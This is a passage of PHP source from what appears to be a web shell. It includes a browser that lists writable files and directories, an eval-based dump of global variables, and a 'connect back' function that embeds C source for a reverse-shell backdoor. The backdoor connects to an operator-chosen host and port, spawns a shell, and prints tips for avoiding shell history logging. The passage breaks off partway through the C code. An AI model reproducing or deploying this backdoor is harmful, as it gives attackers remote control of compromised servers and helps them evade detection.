function echo_files($arr,$txt){

$tmpOutMF = "";

global $chdir,$MyLoc,$SREQ;

$tmpOutMF .= "<td valign=top>";

$tmpOutMF .= "<b><font size=2 face=arial>$txt</b> <br><br>";

if(count($arr) > 0) {

foreach($arr as $key => $file) {

$FN = $chdir."/".$file;

$owner = fileowner($FN);

$perms = substr(sprintf("%o",fileperms($FN)),-3);

if(@is_writable($FN) && @is_dir($FN)) $tmpOutMF .= "<font color=red>$owner - $perms - <a target='_parent' href='$MyLoc?$SREQ&chdir=$FN'>$file</a></font><br>";

elseif(@is_writable($FN) && @is_file($FN)) $tmpOutMF .= "<font color=red>$owner - $perms - <a target='_parent' href='$MyLoc?$SREQ&snoop=0&vsource=$FN'>$file</a> </font><br>";

elseif(@is_file($FN)) $tmpOutMF .= "<font color=green>$owner - $perms - <a target='_parent' href='$MyLoc?$SREQ&snoop=0&vsource=$FN'>$file</a></font><br>";

elseif(@is_dir($FN)) $tmpOutMF .= "<font color=blue>$owner - $perms - <a target='_parent' href='$MyLoc?$SREQ&chdir=$FN'>$file</a></font><br>";

}

}

$tmpOutMF .= "</td>";

return $tmpOutMF;

}

function print_globals($v) {

global $a;

echo "<blockquote>\n";

$q= "while(list(\$key,\$val) = each($".$v. ") ) { ".

" echo \"<b>\$key</b>=>\$val.<br>\"; ".

" if(( is_array(\$val)) && (\$key != \"GLOBALS\")) {".

" @print_globals( \$v.\"[\".\$key.\"]\" );".

"}}";

eval($q);

echo "</blockquote>\n";

}

######################################################################

# connect back shell function

######################################################################

function connect_back($tmp_dir, $compiler, $host, $port) {

$shell = "#include <stdio.h>\n" .

"#include <sys/socket.h>\n" .

"#include <netinet/in.h>\n" .

"#include <arpa/inet.h>\n" .

"#include <netdb.h>\n" .

"int main(int argc, char **argv) {\n" .

" char *host;\n" .

" int port = 80;\n" .

" int f;\n" .

" int l;\n" .

" int sock;\n" .

" struct in_addr ia;\n" .

" struct sockaddr_in sin, from;\n" .

" struct hostent *he;\n" .

" char msg[ ] = \"Welcome to Data Cha0s Connect Back Shell\\n\\n\"\n" .

" \"Issue \\\"export TERM=xterm; exec bash -i\\\"\\n\"\n" .

" \"For More Reliable Shell.\\n\"\n" .

" \"Issue \\\"unset HISTFILE; unset SAVEHIST\\\"\\n\"\n" .

" \"For Not Getting Logged.\\n(;\\n\\n\";\n" .

" printf(\"Data Cha0s Connect Back Backdoor\\n\\n\");\n" .

" if (argc < 2 || argc > 3) {\n" .

" printf(\"Usage: %s [Host] <port>\\n\", argv[0]);\n" .

" return 1;\n" .

" }\n" .

" printf(\"[*] Dumping Arguments\\n\");\n" .

" l = strlen(argv[1]);\n" .

" if (l <= 0) {\n" .

" printf(\"[-] Invalid Host Name\\n\");\n" .

" return 1;\n" .

" }\n" .

" if (!(host = (char *) malloc(l))) {\n" .

" printf(\"[-] Unable to Allocate Memory\\n\");\n" .

" return 1;\n" .

" }\n" .

" strncpy(host, argv[1], l);\n" .

" if (argc == 3) {\n" .

" port = atoi(argv[2]);\n" .

" if (port <= 0 || port > 65535) {\n" .

" printf(\"[-] Invalid Port Number\\n\");\n" .

" return 1;\n" .

" }\n" .

" }\n" .

" printf(\"[*] Resolving Host Name\\n\");\n" .

" he = gethostbyname(host);\n" .

" if (he) {\n" .

" memcpy(&ia.s_addr, he->h_addr, 4);\n" .

" } else if ((ia.s_addr = inet_addr(host)) == INADDR_ANY) {\n" .

" printf(\"[-] Unable to Resolve: %s\\n\", host);\n" .

" return 1;\n" .

" }\n" .

" sin.sin_family = PF_INET;\n" .

" sin.sin_addr.s_addr = ia.s_addr;\n" .

" sin.sin_port = htons(port);\n" .

" printf(\"[*] Connecting...\\n\");\n" .

" if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {\n" .

" printf(\"[-] Socket Error\\n\");\n" .

" return 1;\n" .

" }\n" .

" if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {\n" .

" printf(\"[-] Unable to Connect\\n\");\n" .

" return 1;\n" .

" }\n" .

" printf(\"[*] Spawning Shell\\n\");\n" .

" f = fork( );\n" .

" if (f < 0) {\n" .

" printf(\"[-] Unable to Fork\\n\");\n" .

" return 1;\n" .

" } else if (!f) {\n" .

" write(sock, msg, sizeof(msg));\n" .